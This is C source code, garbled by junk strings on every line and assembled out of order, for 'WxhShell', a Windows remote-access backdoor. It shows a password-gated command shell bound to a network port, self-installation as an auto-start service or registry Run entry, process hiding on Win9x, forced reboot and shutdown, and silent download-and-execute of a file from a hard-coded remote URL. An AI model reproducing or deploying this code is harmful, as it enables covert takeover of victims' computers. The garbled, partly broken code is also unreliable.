    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d~H`CrQE*  
    else { 8r{.jFGv  
    closesocket(wsh); *g%yRU{N  
    ExitThread(0); %A`+WYeuX  
    } t!XwW$@  
    break; vt8By@]:  
    } ]`K2 N  
  // 获取shell vgPCQO([  
  case 's': { sT)CxOV  
    CmdShell(wsh); m@c)Xci  
    closesocket(wsh); rH-23S  
    ExitThread(0); NOva'qk  
    break; %Zi} MPx  
  } $I=~S[p  
  // 退出 nKY6[|!#  
  case 'x': { xEI%D|)<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;`&kZi60Hz  
    CloseIt(wsh); YWLj?+  
    break; wp_0+$?s  
    } Upe%rC(  
  // 离开 ?  t|[?  
  case 'q': { J zl6eo[;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,F|f. 7;  
    closesocket(wsh); p2eGm-Erq  
    WSACleanup(); }tz7b#  
    exit(1); [WmM6UEVS  
    break; ueudRb  
        } G[=c Ss,  
  } $i&zex{\  
  } uFE)17E  
C Z;6@{ o  
  // 提示信息 Y7|EIAU5Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w{KavU5W  
} 5+vaE 2v  
  } _/|\aqF.  
aUp g u"  
  return; ]9CFIh  
} ^!d3=}:0  
vN:Ng  
// shell模块句柄 >6T8^Nt  
int CmdShell(SOCKET sock) )GpK@R]{  
{ ;p//QJB9  
STARTUPINFO si; _)8s'MjA:&  
ZeroMemory(&si,sizeof(si)); jp,4h4C^)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K0~rN.C!0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9w"*y#_  
PROCESS_INFORMATION ProcessInfo; zPO9!?7|  
char cmdline[]="cmd"; V!Uc(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6m93puY`7  
  return 0; K1KreYlF  
} ]kSGR  
KO [Yi  
// 自身启动模式 ]gOy(\B  
int StartFromService(void) COlqcq'qAu  
{ *@5@,=d  
typedef struct 7#XzrT]  
{ qGo.WZ$  
  DWORD ExitStatus; IxU/?Zm  
  DWORD PebBaseAddress; 0B2t"(&  
  DWORD AffinityMask; 4x34u}l  
  DWORD BasePriority; %J(:ADu]  
  ULONG UniqueProcessId; I9Xuok!0>=  
  ULONG InheritedFromUniqueProcessId; ye&;(30Oq  
}   PROCESS_BASIC_INFORMATION; 9*g Z-#  
jA1 +x:Wq  
PROCNTQSIP NtQueryInformationProcess; C+$#y2"z#n  
$4LzcwG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {) XTk &"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 79gT+~z   
N8jIMb'<  
  HANDLE             hProcess; C dn J&N{  
  PROCESS_BASIC_INFORMATION pbi; u 9e@a9c  
K+eM   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); js(pC@<q5  
  if(NULL == hInst ) return 0; .('SW\u-  
d{?LD?,)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); us-L]S+lm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B#A6v0Ta  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -@'FW*b  
Lbgi7|&  
  if (!NtQueryInformationProcess) return 0; Wr 4,YQM  
XFl 6M~ c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >MZ/|`[M  
  if(!hProcess) return 0; h p1Bi  
<'u'#E@"sl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X'ag)|5ot  
#qki  
  CloseHandle(hProcess); y29m/i:  
IGl9 g_18  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M`_0C38  
if(hProcess==NULL) return 0; HMXE$d=[  
x2xRBkRg=  
HMODULE hMod; V3Bz Mw\9r  
char procName[255]; [agMfn  
unsigned long cbNeeded; ,tFg4k[  
YK_ 7ip.a[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Rcuz(yS8  
1 MFbQs^  
  CloseHandle(hProcess); x}4q {P5$  
9hl_|r~%*  
if(strstr(procName,"services")) return 1; // 以服务启动 =X}J6|>X  
.-zom~N-?  
  return 0; // 注册表启动 &oNAv-m^GD  
} Rq-ZL{LR7  
-"x$ZnHU  
// 主模块 ]Wup/o  
int StartWxhshell(LPSTR lpCmdLine) W/N7vAx X  
{ 43cE`9~  
  SOCKET wsl; CIWO7bS  
BOOL val=TRUE; 0GLM(JmK  
  int port=0; Eci\a]  
  struct sockaddr_in door; P55fL-vo|}  
}>\C{ClI  
  if(wscfg.ws_autoins) Install(); kh<2BOV  
ctQ/wrkU  
port=atoi(lpCmdLine); :FF=a3/"6  
&{:-]g\  
if(port<=0) port=wscfg.ws_port; gXU8hTd8  
u8^lB7!e/  
  WSADATA data;  7GGUV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  *CMx-_  
BT$_@%ea&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )J |6-C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TeQV?ZQ#}  
  door.sin_family = AF_INET; xdPx{"C 3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DU^loB+  
  door.sin_port = htons(port); P?<y%c<  
, gHDx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _1^'(5f$  
closesocket(wsl); crCJrN=  
return 1; YSMAd-Ef-  
} [[ZJ]^n,  
)7@0[>  
  if(listen(wsl,2) == INVALID_SOCKET) { DG/Pb)%Y  
closesocket(wsl); okXl8&mi  
return 1; 3`HV(5U[  
} gw(z1L5 n  
  Wxhshell(wsl); K3C<{#r  
  WSACleanup(); <@}9Bid!o  
al0L&z\  
return 0; jIyQ]:*p  
Kw}'W 8`c  
} nN;u,}e  
zs;JJk^  
// 以NT服务方式启动 a*;b^Ze`v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?2a$*(  
{ /reX{Y  
DWORD   status = 0; u2I Cl  
  DWORD   specificError = 0xfffffff; BUFv|z+H  
=a!=2VN9y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Vl]>u+YqE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :&Nbw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p_ =z#  
  serviceStatus.dwWin32ExitCode     = 0; G3]4A&h9v~  
  serviceStatus.dwServiceSpecificExitCode = 0; E7hhew  
  serviceStatus.dwCheckPoint       = 0; rNM;ZPF#  
  serviceStatus.dwWaitHint       = 0; ?%86/N>  
w!CNRtM:~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6zkaOA46V  
  if (hServiceStatusHandle==0) return; B!yr!DWv  
3T 9j@N77  
status = GetLastError(); -&f$GUTJ  
  if (status!=NO_ERROR) |{;G2G1[  
{ s{++w5s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :,^gj  
    serviceStatus.dwCheckPoint       = 0; K,]=6 Rj  
    serviceStatus.dwWaitHint       = 0; c,22*.V/  
    serviceStatus.dwWin32ExitCode     = status; zi:BF60]=  
    serviceStatus.dwServiceSpecificExitCode = specificError; ax2B ]L2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l%ZhA=TKQ  
    return; J1kM\8%b\  
  } IID5c" oR  
)Z$!PqRw@u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 67TwPvh  
  serviceStatus.dwCheckPoint       = 0; +(*DT9s+  
  serviceStatus.dwWaitHint       = 0; iE{&*.q_}>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,Q,^3*HX9}  
} Q?T]MUY(L  
VpUAeWb  
// 处理NT服务事件,比如:启动、停止 &zhAh1m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8fb'yjIC  
{ >7r!~+B"9'  
switch(fdwControl) ,[Fb[#Qqb  
{ l,: F  
case SERVICE_CONTROL_STOP: Q&&@v4L   
  serviceStatus.dwWin32ExitCode = 0; m* ;ERK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v:p}B$  
  serviceStatus.dwCheckPoint   = 0; g>sSS8R O  
  serviceStatus.dwWaitHint     = 0; z2c6T.1M  
  { "3hMq1NQ`g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *A< 5*Db:F  
  } F?cK- .  
  return; }Lv;!  
case SERVICE_CONTROL_PAUSE: 9l,o P?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n(Uyz`qE  
  break; :4s1CC+@\  
case SERVICE_CONTROL_CONTINUE: _U0f=m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M;NX:mX9  
  break; 1cGmg1U;  
case SERVICE_CONTROL_INTERROGATE: :LTN!jj  
  break; nm+s{  
}; G`zm@QL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]?)TdJ`  
} <Qq*p  
C>~TI,5a3  
// 标准应用程序主函数 />Nt[o[r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xpI wrJO  
{ R4@6G&2d>  
^(<f/C)i  
// 获取操作系统版本 @KA4N`  
OsIsNt=GetOsVer(); V:27)]q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]~%6JJN7  
jtc~DL  
  // 从命令行安装 K>9 ()XT)  
  if(strpbrk(lpCmdLine,"iI")) Install(); fatf*}eln  
>MK98(F  
  // 下载执行文件 9Ee'Cm  
if(wscfg.ws_downexe) { sr}E+qf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i&k7-<  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6Iw\c  
} TKjFp%  
~4"dweu?  
if(!OsIsNt) { o.\oA6P_  
// 如果时win9x,隐藏进程并且设置为注册表启动 !wp3!bLp  
HideProc(); <1 pEwI~  
StartWxhshell(lpCmdLine); }i2V.tVB-  
} E e]-qN*8  
else 5?L<N:;J_  
  if(StartFromService()) KU;9}!#  
  // 以服务方式启动 d1kJRJ   
  StartServiceCtrlDispatcher(DispatchTable); xCKRxF  
else _rYkis^ u  
  // 普通方式启动 [r-p]"R  
  StartWxhshell(lpCmdLine); 1sCR4L:+  
<ih[TtZ  
return 0; T)CP2U  
} /@Zrq#o zx  
v3qA":(w+(  
(ik\|y% A  
>j`qh:^  
=========================================== s <Fl p  
Kg$ Mx  
x`?3C"N:<  
4fzZ;2sl}  
akT6^cP^  
>3_Gw4S*H  
" oE~Bq/p  
Q,9oKg  
#include <stdio.h> xKC[=E>z  
#include <string.h> =2 kG%9  
#include <windows.h> EE'!|N3  
#include <winsock2.h> E"@wek.-  
#include <winsvc.h> = f i$}>\  
#include <urlmon.h> Z/K{A`  
sC;+F*0g  
#pragma comment (lib, "Ws2_32.lib") ?s _5&j7  
#pragma comment (lib, "urlmon.lib") ASfaX:ke  
Rh |nP&6  
#define MAX_USER   100 // 最大客户端连接数 ;GhNKPY  
#define BUF_SOCK   200 // sock buffer :@)>r9N  
#define KEY_BUFF   255 // 输入 buffer Q&V;(L62!  
N?>vd*  
#define REBOOT     0   // 重启 h} EPnC}  
#define SHUTDOWN   1   // 关机 @R  6@]Dm  
^I)N. 5  
#define DEF_PORT   5000 // 监听端口 PuO&wI]:  
h@h!,;  
#define REG_LEN     16   // 注册表键长度 `p7=t)5k  
#define SVC_LEN     80   // NT服务名长度 A4ygW:  
?rup/4|  
// 从dll定义API DXK}-4"\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @<]Ekkg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); usL* x9i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f[^Aw(o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 84pFc;<  
2oRg 2R}  
// wxhshell配置信息 B\:%ufd ~  
struct WSCFG { )sp4Ie  
  int ws_port;         // 监听端口 h_IDO%  
  char ws_passstr[REG_LEN]; // 口令 ""Q P%  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'xg Lt(  
  char ws_regname[REG_LEN]; // 注册表键名 %(G* ,  
  char ws_svcname[REG_LEN]; // 服务名 v(D;PS3r 7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =-lb)Z"d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u21EP[[,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P0PWJ^+,+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f/Bp.YwL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" oW Nh@C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tWa) _y  
dIBE!4 V[  
}; EJ:%}HhA  
s1=G;  
// default Wxhshell configuration ]Y8<`;8/  
struct WSCFG wscfg={DEF_PORT, /U)D5ot<  
    "xuhuanlingzhe", *zL}&RUKM  
    1, SHo$9+  
    "Wxhshell", 7 uKY24  
    "Wxhshell", `o8/(`a  
            "WxhShell Service", s^uS1  
    "Wrsky Windows CmdShell Service", o;R2p $  
    "Please Input Your Password: ", o,8TDg  
  1, }\:Nu Tf  
  "http://www.wrsky.com/wxhshell.exe", u'W8;G*~  
  "Wxhshell.exe" |3[Wa^U5  
    }; ndz]cx  
vucxt }Ti  
// 消息定义模块 Om@C X<(9C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :GP]P^M;G@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C-MjJ6D<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zvH8^1yzG  
char *msg_ws_ext="\n\rExit."; :Ab%g-  
char *msg_ws_end="\n\rQuit."; i||]V*5n  
char *msg_ws_boot="\n\rReboot..."; wN-d'-z/rd  
char *msg_ws_poff="\n\rShutdown..."; scou%K  
char *msg_ws_down="\n\rSave to "; GV69eG3bX#  
Q;JM$a?5iV  
char *msg_ws_err="\n\rErr!"; ^R Fp8w(  
char *msg_ws_ok="\n\rOK!"; 0dh aAq`k  
usCt#eZK  
char ExeFile[MAX_PATH]; aV|hCN~  
int nUser = 0; b8SHg^}  
HANDLE handles[MAX_USER]; AKyUfAj3  
int OsIsNt; a (b#  
lqZ5?BD1  
SERVICE_STATUS       serviceStatus; m?fy^>1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZR?yDgL  
[^e%@TV>d  
// 函数声明 ft KTnK.  
int Install(void); ~W+kiTsD?  
int Uninstall(void); j=aI9p  
int DownloadFile(char *sURL, SOCKET wsh); DLMM/WJg@  
int Boot(int flag); uIZ-#q  
void HideProc(void); o`P %&  
int GetOsVer(void); Y M\ K%rk  
int Wxhshell(SOCKET wsl); zhRB,1iG  
void TalkWithClient(void *cs); 8a'.ZdqC?  
int CmdShell(SOCKET sock); ( _)jkI \  
int StartFromService(void); J| bd)0  
int StartWxhshell(LPSTR lpCmdLine); 1@R Db)<V  
b+6\JE^Mz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *b/` Ya4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E5xzy/ZQ  
1Z~)RJ<D  
// 数据结构和表定义 ~r`9+b[9{  
SERVICE_TABLE_ENTRY DispatchTable[] = iS Gq!D  
{ SB|Qa}62  
{wscfg.ws_svcname, NTServiceMain}, '~&X wZ&  
{NULL, NULL} DSk/q-'u  
}; F,dx2ZPIs?  
5^lxj~ F  
// 自我安装 V7P&%oz{C  
int Install(void) au=o6WRa  
{ W 7\f1}]H  
  char svExeFile[MAX_PATH]; ^T$|J;I  
  HKEY key; @EpIh&  
  strcpy(svExeFile,ExeFile); <|+Ex  
X{'q24\F  
// 如果是win9x系统,修改注册表设为自启动 fb8g7H|  
if(!OsIsNt) { -~ Mb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %i-c0|,T4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %$ Z7x\_  
  RegCloseKey(key); {(wHPzq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @$c\d vO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <$~mE9a6  
  RegCloseKey(key); *c*0PdV  
  return 0; Vq;A>  
    } J<maQ6p  
  } q+]h=:5=I  
} I*kK 82  
else { *"n vX2iz  
C #6dC0  
// 如果是NT以上系统,安装为系统服务 ,o,I5>`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S9`flo  
if (schSCManager!=0) R>"OXFaE  
{ pg%aI,  
  SC_HANDLE schService = CreateService r*_ZJ*h[  
  ( `Ru3L#@  
  schSCManager, F[[TWf/  
  wscfg.ws_svcname, ehG/zVgn  
  wscfg.ws_svcdisp, ,|plWIl~  
  SERVICE_ALL_ACCESS, lBFMwJU)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p4i]7o@  
  SERVICE_AUTO_START, -3lb@ 6I6  
  SERVICE_ERROR_NORMAL, V6#K2  
  svExeFile, 5N*Ux4M  
  NULL, 7=OQ8IM !  
  NULL, =xJKIu  
  NULL, G 0;XaL:  
  NULL, _}VloiY  
  NULL )V:]g\t  
  );  n>`as  
  if (schService!=0) /'DsB%7g  
  { |{ PI102  
  CloseServiceHandle(schService); ['*8IWg  
  CloseServiceHandle(schSCManager); w{90`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z7Eg5rm|QZ  
  strcat(svExeFile,wscfg.ws_svcname); mzc 4/<th  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `o?Ph&p}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1=a>f "cyf  
  RegCloseKey(key); +_xOLiu  
  return 0; YxinE`u~  
    } F]t (%{#W  
  } pzgSg[|  
  CloseServiceHandle(schSCManager); }~h(w^t  
} 'fNKlPMv4D  
} <rL/B k  
Kmv+1T0,  
return 1; 9Xo[(h)5d  
} zC:wNz@zK  
^e>Wo7r  
// 自我卸载 CZt \JW+"  
int Uninstall(void) 2'<[7!  
{ dVo.Czyd  
  HKEY key; [ $T(WGF  
4T<Lgb  
if(!OsIsNt) { /q$,'^.A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (?! ,p^  
  RegDeleteValue(key,wscfg.ws_regname); "a/ Q%.P  
  RegCloseKey(key); u@%r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BEgV^\u  
  RegDeleteValue(key,wscfg.ws_regname); :C8$Xi_i}  
  RegCloseKey(key); H'UR8%  
  return 0; pdEiqLhH  
  } t"YNgC ^  
} k` (jkbEZ  
} 5 `RiS]IO]  
else { V$rlA' +1v  
JQ-gn^tsy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1G'`2ATF*  
if (schSCManager!=0) 3 Lsj}p  
{ d'Axum@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5rV( (  
  if (schService!=0) |s)?cpb  
  { fQ=MJ7l  
  if(DeleteService(schService)!=0) { ^p/Ob'!  
  CloseServiceHandle(schService); !!nuAQ"E[  
  CloseServiceHandle(schSCManager); h<\_XJJ  
  return 0; H<G4O02i_  
  } S"hTE7`   
  CloseServiceHandle(schService); S$^ RbI  
  } GzTq5uU&  
  CloseServiceHandle(schSCManager); X*7\lf2  
} @AYo-gf  
} =?(~aV  
Mf#83 <&K  
return 1; UYtuED  
} aRJ>6Q}  
?P7]u>H  
// 从指定url下载文件 <(e8sNe  
int DownloadFile(char *sURL, SOCKET wsh) P0-Fc@&Y  
{ x/ :4 {  
  HRESULT hr; :ECi+DxBK  
char seps[]= "/"; M8b4NF_&  
char *token; @v*/R%rv t  
char *file; =_8Tp~j  
char myURL[MAX_PATH]; `j9$T:`  
char myFILE[MAX_PATH]; Px>va01n  
Q9`QL3LQD  
strcpy(myURL,sURL); a%Jx `hx  
  token=strtok(myURL,seps); 5Y3i|cj  
  while(token!=NULL) -sMytHH.  
  { 8g >b  
    file=token; [!VOw@uz  
  token=strtok(NULL,seps); U#o'H @  
  } 6R29$D|HFO  
*AIEl"29  
GetCurrentDirectory(MAX_PATH,myFILE); !"TZ:"VZU  
strcat(myFILE, "\\"); -gz0md|Y  
strcat(myFILE, file); KZBrE$@%5  
  send(wsh,myFILE,strlen(myFILE),0); do ^RF<G  
send(wsh,"...",3,0); :` $@}GI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m2Uc>S  
  if(hr==S_OK) 3?s ?XAh  
return 0; "XLe3n  
else U^Tp6vN d  
return 1; Pu>N_^  C  
^ 2u/n  
} l48k<  
1 Ee>S\9t  
// 系统电源模块 e[t<<u3"  
int Boot(int flag) ARfRsPxr  
{ k 2%S`/:  
  HANDLE hToken; G8Y+w  
  TOKEN_PRIVILEGES tkp; cxYfZ4++m  
]> Y/r-!  
  if(OsIsNt) { L{ymI) Y^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7CB#YP?E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #m8sK(#lo  
    tkp.PrivilegeCount = 1; p '{xoV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; })IO#,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W:QwHZ2O  
if(flag==REBOOT) { K$REZe  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )DUL)S  
  return 0; *xM/ ;)  
}  [&P`ak  
else { Cv=GZGn-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b]]N{: I  
  return 0; t^tCA -  
} |@o6NZ<9N  
  } xkA2g[  
  else { .]}N55M  
if(flag==REBOOT) { DjW$?>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W%!@QY;E(  
  return 0; y02 u?wJ  
} XvSIWs  
else { }+Vv0jX|V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (5uJZ!m  
  return 0; 5QWNZJ&}d  
} 9F+P@Kp  
} YbMssd2Yg  
J%dJw}  
return 1; ev>oC~>s  
} {sC=J hs-  
fV ZW[9[  
// win9x进程隐藏模块 |Zq\GA  
void HideProc(void) xNN@1P[*  
{ hWcTI{v  
i.rU&yT%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z4} %TT@^  
  if ( hKernel != NULL ) hPufzhT  
  { D(r:}pyU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G"S5ki`o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Kv+Bfh  
    FreeLibrary(hKernel); e4qj .b  
  } ibF#$&!  
En9R>A;`  
return; %3a|<6  
} (clU$m+oXX  
Ls: =A6AGM  
// 获取操作系统版本 ->yeJTsE9  
int GetOsVer(void) Uk-HP\C"7  
{ BGjb`U#%3  
  OSVERSIONINFO winfo; ZxS&4>.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3DoRE2}  
  GetVersionEx(&winfo); ~/`X*n&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  ?B4#f!X  
  return 1; SQKt}kDbM  
  else =2oUZjA  
  return 0; D&[Z;,CHMA  
} [{PqV):p  
E5B8 Z?$a  
// 客户端句柄模块 H(\V+@~>AD  
int Wxhshell(SOCKET wsl) i@$-0%,  
{ } 21j  
  SOCKET wsh; .u< U:*  
  struct sockaddr_in client; '>^Xqn  
  DWORD myID; "r-l8r,  
vO$ra5Z  
  while(nUser<MAX_USER) 7>x;B  
{ A'DVJ9%xB  
  int nSize=sizeof(client); u3wL<$2[8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X7e/:._SAH  
  if(wsh==INVALID_SOCKET) return 1; sA_X<>vAKJ  
kQ}s/*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +?e}<#vd'?  
if(handles[nUser]==0) 4 10:%WGc  
  closesocket(wsh); AA7#c7  
else 1!s28C5u  
  nUser++; {Nq?#%vdT  
  } hh&Js'd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); YZ[%uArm  
"3t\em!  
  return 0; zPQ$\$7xB  
} l @A"U)A(  
U,3d) ]Zy&  
// 关闭 socket @9_)On9hZ  
void CloseIt(SOCKET wsh) Z1]"[U[;  
{ ? -{IsF^  
closesocket(wsh); 3o7xN=N  
nUser--; /.-m}0h|W-  
ExitThread(0); $SF3odpt  
} Y:%"K  
w)<4>(D  
// 客户端请求句柄 R1 qMg+  
void TalkWithClient(void *cs) *dVD  
{ 5V rcR=?O  
X)NWX9^;'  
  SOCKET wsh=(SOCKET)cs; au A.6DQ  
  char pwd[SVC_LEN]; Wy,"cT  
  char cmd[KEY_BUFF]; 0hZxN2r  
char chr[1]; 7 FIFSt  
int i,j; D`fc7m  
$Q,n+ /  
  while (nUser < MAX_USER) { *lY+Yy(  
*p"O*zj  
if(wscfg.ws_passstr) { Qf~| S9,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;<VR2U`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "9 u-lcQ\  
  //ZeroMemory(pwd,KEY_BUFF); 1YFAr}M  
      i=0; Xi*SDy  
  while(i<SVC_LEN) { =*[, *A  
9$EH K  
  // 设置超时 ;HT0w_,  
  fd_set FdRead; 5GUH;o1m  
  struct timeval TimeOut; $;ch82UiX  
  FD_ZERO(&FdRead); }7&\eV{qU  
  FD_SET(wsh,&FdRead); &(WE]ziuO  
  TimeOut.tv_sec=8; 4KZSL: A  
  TimeOut.tv_usec=0; x1:vUHwC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {Wr\D Vp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i$g|?g~]  
IS .g);Gj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oNrEIgaA(+  
  pwd=chr[0]; Bac?'ypm  
  if(chr[0]==0xd || chr[0]==0xa) { ]zX\8eHp!  
  pwd=0; enWF7`  
  break; a{5H33JA  
  } iczs8gj*  
  i++; G|<]Ma9x  
    } ?UU5hek+m  
5wy;8a  
  // 如果是非法用户,关闭 socket  KhLg*EL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); KPD@b=F  
} 1g+LF[*-~  
aYqqq|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NEZH<#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a"MTQFm'  
sTJJE3TBI  
while(1) { #!(Zn:[  
YL; SxLY  
  ZeroMemory(cmd,KEY_BUFF); gCjH%=s  
5ENov!$H  
      // 自动支持客户端 telnet标准   ?< -wHj)  
  j=0; Vj#%B.#Zbf  
  while(j<KEY_BUFF) { Rv0-vH.n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \CP*i_:"  
  cmd[j]=chr[0]; JkRGtYq  
  if(chr[0]==0xa || chr[0]==0xd) { sxf}Mmsk  
  cmd[j]=0; 1x^W'n,HtK  
  break; PEMxoe<+  
  } 4;B= Qoxe  
  j++; clij|?O  
    } lr)G:I#|  
nhB^Xr=  
  // 下载文件 M'pY-/.  
  if(strstr(cmd,"http://")) { (, ;MC/l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O~7p^i}  
  if(DownloadFile(cmd,wsh)) D'U\]'.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zw3hp,P]  
  else Fj[ dO&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bcGn8  
  } w*]_FqE  
  else { XRX7qo(0g  
